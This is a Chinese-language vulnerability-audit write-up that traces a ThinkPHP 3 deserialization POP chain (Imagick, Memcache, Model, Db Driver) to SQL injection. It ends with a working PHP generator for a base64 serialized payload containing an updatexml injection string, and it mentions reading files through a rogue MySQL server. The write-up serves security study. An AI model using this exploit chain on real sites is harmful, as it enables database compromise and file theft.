前言
第一次审反序列化漏洞,感觉反序列化还是蛮有意思的,但具体在框架中的POP链的构造确实学到了(没想到加namespace、user等)。在找合适跳板时也有点迷茫,以后多审一些应该会好一点了吧~
文章目录
搭建
Index控制器中给一个反序列化的入口:
public function index(){
unserialize(base64_decode($_GET[1]));
}
分析
一、首先是找一个下手的方法,一般都是__destruction
这个重灾区出发,全局搜索function __destruct(
在TP3中搜索__destruction()
发现有很多:free()
、fclose($this->fp)
这类的方法,没啥利用的。
但有一处十分不一样,位于:ThinkPHP/Library/Think/Image/Driver/Imagick.class.php
// Imagick
public function __destruct() {
empty($this->img) || $this->img->destroy();
}
这里的$this->img指的是本类中 img这个成员变量,是完全可控的。
二、那么顺着继续全局搜索一下destroy方法,
注意ThinkPHP/Library/Think/Session/Driver/Memcache.class.php
中的destroy:
上一步中我们是无参调用destroy()
,那么这里形参$sessID是空的。在ThinkPHP框架中,调用一个有参函数却不传入参数,这在PHP5中可以这么执行,但在PHP7中却会异常抛出,因此要复现的话不能用PHP7的环境。
这里的$this->handle
同样可控,但是传入delete的参数只能控制$sessionName
而无法控制$sessID
,继续找delete()方法
三、找到:ThinkPHP/Mode/Lite/Model.class.php
//Model
public function delete($options=array()) {
$pk = $this->getPk();
if(empty($options) && empty($this->options['where'])) {
// 如果删除条件为空 则删除当前数据对象所对应的记录
if(!empty($this->data) && isset($this->data[$pk]))
return $this->delete($this->data[$pk]);
else
return false;
}
if(is_numeric($options) || is_string($options)) {
// 根据主键删除记录
if(strpos($options,',')) {
$where[$pk] = array('IN', $options);
}else{
$where[$pk] = $options;
}
$options = array();
$options['where'] = $where;
}
// 根据复合主键删除记录
if (is_array($options) && (count($options) > 0) && is_array($pk)) {
$count = 0;
foreach (array_keys($options) as $key) {
if (is_int($key)) $count++;
}
if ($count == count($pk)) {
$i = 0;
foreach ($pk as $field) {
$where[$field] = $options[$i];
unset($options[$i++]);
}
$options['where'] = $where;
} else {
return false;
}
}
// 分析表达式
$options = $this->_parseOptions($options);
if(empty($options['where'])){
// 如果条件为空 不进行删除操作 除非设置 1=1
return false;
}
if(is_array($options['where']) && isset($options['where'][$pk])){
$pkValue = $options['where'][$pk];
}
if(false === $this->_before_delete($options)) {
return false;
}
$result = $this->db->delete($options);
if(false !== $result && is_numeric($result)) {
$data = array();
if(isset($pkValue)) $data[$pk] = $pkValue;
$this->_after_delete($data,$options);
}
// 返回删除记录个数
return $result;
}
分开来看:
其中:$pk = $this->getPk();
则是返回当前类,也就是 Model类中成员变量$pk
,可控。
当$options
传入为空数组和成员变量$this->options['where']
为空则进入if里面,控制$this->data
即可进入第二层if再调用本方法,但参数为$this->data[$pk]
,不过这同样可控。
再次调用自身,会直接到这些语句:
注意到最后面会调用$this->db
中的delete方法,参数$options
是通过$this->data[$pk]
来控制的。但是哪个类呢?不是本类,而是:
这是ThinkPHP的数据库模型类中的delete()方法,最终会去调用到数据库驱动类中的delete()中去
也就是位于ThinkPHP/Library/Think/Db/Driver.class.php
的Driver类。
但在进入此类前要注意前面有return 的操作,所以$options['where']
,也就是$data[$pk]['where']
不能为空,注释也告诉我们怎么设置此值了:1=1
四、来到Driver类:
在这里会产生一个Delete的SQL语句,其中最关键的便是直接将$table
拼接到SQL语句中了,为什么说直接?虽然拼接前有一个parseTable方法,但依旧没啥luan用,我们进到parseTable中看看:
判别$table
是什么类型,是数组就循环遍历一下然后执行parseKey方法,是字符串就按照逗号分隔执行parseKey方法。但parseKey方法是这样的:啥都没有,直接返回$key
,没有任何过滤导致了漏洞产生!
五、拼接完SQL语句就到execute()中执行,execute方法中一开始会初始化连接,跟进
默认单数据库,跟进:
发现会参数中调用本类的$config
,也就是驱动类。然后会通过PDO实现数据库的连接
因此这里我们还需要初始化数据库的连接。
构造POP chain
<?php
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
}
namespace Think\Session\Driver{
use Think\Model;
class Memcache {
protected $handle;
public function __construct(){
$this->handle = new Model();
}
}
}
namespace Think{
use Think\Db\Driver\Mysql;
class Model {
protected $data=array();
protected $pk;
protected $options=array();
protected $db=null;
public function __construct()
{
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
'where'=>'1=1',
'table'=>'mysql.user where 1=updatexml(1,concat(0x7e,user(),0x7e),1)#'
);
}
}
}
//初始化数据库连接
namespace Think\Db\Driver{
use PDO;
class Mysql {
protected $config = array(
'debug' => true,
"charset" => "utf8",
'type' => 'mysql', // 数据库类型
'hostname' => 'localhost', // 服务器地址
'database' => 'tpdemo', // 数据库名
'username' => 'root', // 用户名
'password' => 'root', // 密码
'hostport' => '3306', // 端口
);
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启后才可读取文件
//PDO::MYSQL_ATTR_MULTI_STATEMENTS => true, //把堆叠开了,开启后可堆叠注入
);
}
}
namespace{
echo base64_encode(serialize(new Think\Image\Driver\Imagick() ));
}
?>
此外,不仅仅是单纯的SQL注入。因为数据库连接配置可控,还可以实现MySQL恶意服务端读取客户端文件漏洞,我就懒得复现这个攻击方式了…可以利用该作者的脚本:Rogue-MySql-Server
参考:
https://mp.weixin.qq.com/s/S3Un1EM-cftFXr8hxG4qfA?fileGuid=YQ6W8dWWxRpgCVkt
https://xz.aliyun.com/t/9441